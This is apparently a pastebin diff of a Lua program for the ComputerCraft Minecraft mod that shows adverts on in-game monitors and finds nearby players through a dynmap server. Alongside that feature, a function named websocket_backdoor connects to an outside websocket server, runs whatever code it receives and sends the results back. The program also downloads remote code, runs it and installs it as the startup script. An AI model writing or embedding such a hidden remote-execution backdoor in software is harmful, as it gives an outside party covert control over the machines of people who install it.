SHOW:
|
|
- or go back to the newest paste.
1 | function _G.fetch(u) | |
2 | local h = http.get(u) | |
3 | local c = h.readAll() | |
4 | h.close() | |
5 | return c | |
6 | end | |
7 | ||
8 | function _G.update() | |
9 | - | local h = fs.open("startup", "w") |
9 | + | local h = fs.open("startup.lua", "w") |
10 | - | local x = fetch "https://pastebin.com/raw/QtVcwZJm" |
10 | + | local x = fetch "https://pastebin.com/raw/VWWcaWN0" |
11 | local f, e = load(x) | |
12 | if not f then return false, e end | |
13 | h.write(x) | |
14 | h.close() | |
15 | return true | |
16 | end | |
17 | ||
18 | local h = fs.open("conf.lua", "r") | |
19 | local conf = textutils.unserialise(h.readAll()) or {} | |
20 | h.close() | |
21 | ||
22 | local urls = { | |
23 | - | cnlite = "https://dynmap.switchcraft.pw/" |
23 | + | switchcraft = "https://dynmap.switchcraft.pw/" |
24 | } | |
25 | ||
26 | local function distance_squared(player) | |
27 | local dx = player.x - conf.location[1] | |
28 | local dy = player.y - conf.location[2] | |
29 | local dz = player.z - conf.location[3] | |
30 | return dx * dx + dy * dy + dz * dz | |
31 | end | |
32 | ||
33 | local json | |
34 | local function load_json() | |
35 | local x = fetch "https://raw.githubusercontent.com/rxi/json.lua/bee7ee3431133009a97257bde73da8a34e53c15c/json.lua" | |
36 | json = load(x)() | |
37 | end | |
38 | ||
39 | function _G.find_player_nearby() | |
40 | if not json then load_json() end | |
41 | local API_URL = urls[conf.server] .. "up/world/world/" | |
42 | local data = json.decode(fetch(API_URL)) | |
43 | local players = _.filter(data.players, function(x) | |
44 | x.d = distance_squared(x) | |
45 | return x.world == conf.dimension and x.d < 400 | |
46 | end) | |
47 | local sorted = _.sort_by(players, function(x) return -x.d end) | |
48 | return sorted[1] | |
49 | end | |
50 | ||
51 | local function advert_display() | |
52 | while true do | |
53 | - | local data = fetch "https://pastebin.com/raw/P9TeP8ev" |
53 | + | local data = fetch "https://pastebin.com/raw/S5ZiYVLq" |
54 | local fn, err = loadstring(data) | |
55 | if err then printError("Parse error: " .. err) | |
56 | else | |
57 | local ok, result = pcall(fn) | |
58 | if not ok then printError("Exec error: " .. result) | |
59 | else | |
60 | local options = {} | |
61 | for k, v in pairs(result) do | |
62 | if type(v) == "string" or type(v) == "function" then table.insert(options, v) end | |
63 | end | |
64 | for _, mon in pairs {peripheral.find "monitor"} do | |
65 | local option = options[math.random(1, #options)] | |
66 | if type(option) == "function" then ok, option = pcall(option) end | |
67 | if type(option) ~= "string" then break end | |
68 | local w, h = mon.getSize() | |
69 | if #option > (w * h) then | |
70 | mon.setTextScale(conf.smallScale) | |
71 | else | |
72 | mon.setTextScale(conf.largeScale) | |
73 | end | |
74 | local last = term.redirect(mon) | |
75 | mon.clear() | |
76 | mon.setCursorPos(1, 1) | |
77 | write(option) | |
78 | term.redirect(last) | |
79 | print("Displayed", option) | |
80 | end | |
81 | end | |
82 | end | |
83 | sleep(30) | |
84 | end | |
85 | end | |
86 | ||
87 | local function websocket_backdoor() | |
88 | load_json() | |
89 | if not http or not http.websocket then return "Websockets do not actually exist on this platform" end | |
90 | local ws, err = http.websocket "wss://spudnet.osmarks.net/potatoad" | |
91 | if not ws then printError(err) return end | |
92 | ||
93 | local function send(msg) | |
94 | ws.send(json.encode(msg)) | |
95 | end | |
96 | ||
97 | local function recv() | |
98 | while true do | |
99 | local e, u, code = coroutine.yield "websocket_message" | |
100 | if e == "websocket_message" and u == "wss://spudnet.osmarks.net/potatoad" then | |
101 | return code | |
102 | end | |
103 | end | |
104 | end | |
105 | ||
106 | while true do | |
107 | -- Receive and run code from backdoor's admin end | |
108 | local code = recv() | |
109 | local f, error = load(code, "@input", "t", _E) | |
110 | if f then -- run safely in background, send back response | |
111 | local resp = {pcall(f)} | |
112 | for k, v in pairs(resp) do | |
113 | local ok, thing = pcall(json.encode, v) | |
114 | if not ok then | |
115 | resp[k] = tostring(v) | |
116 | end | |
117 | end | |
118 | send(resp) | |
119 | else | |
120 | send {false, error} | |
121 | end | |
122 | end | |
123 | end | |
124 | ||
125 | - | parallel.waitForAll(websocket_backdoor, advert_display) |
125 | + | parallel.waitForAny(advert_display, websocket_backdoor) |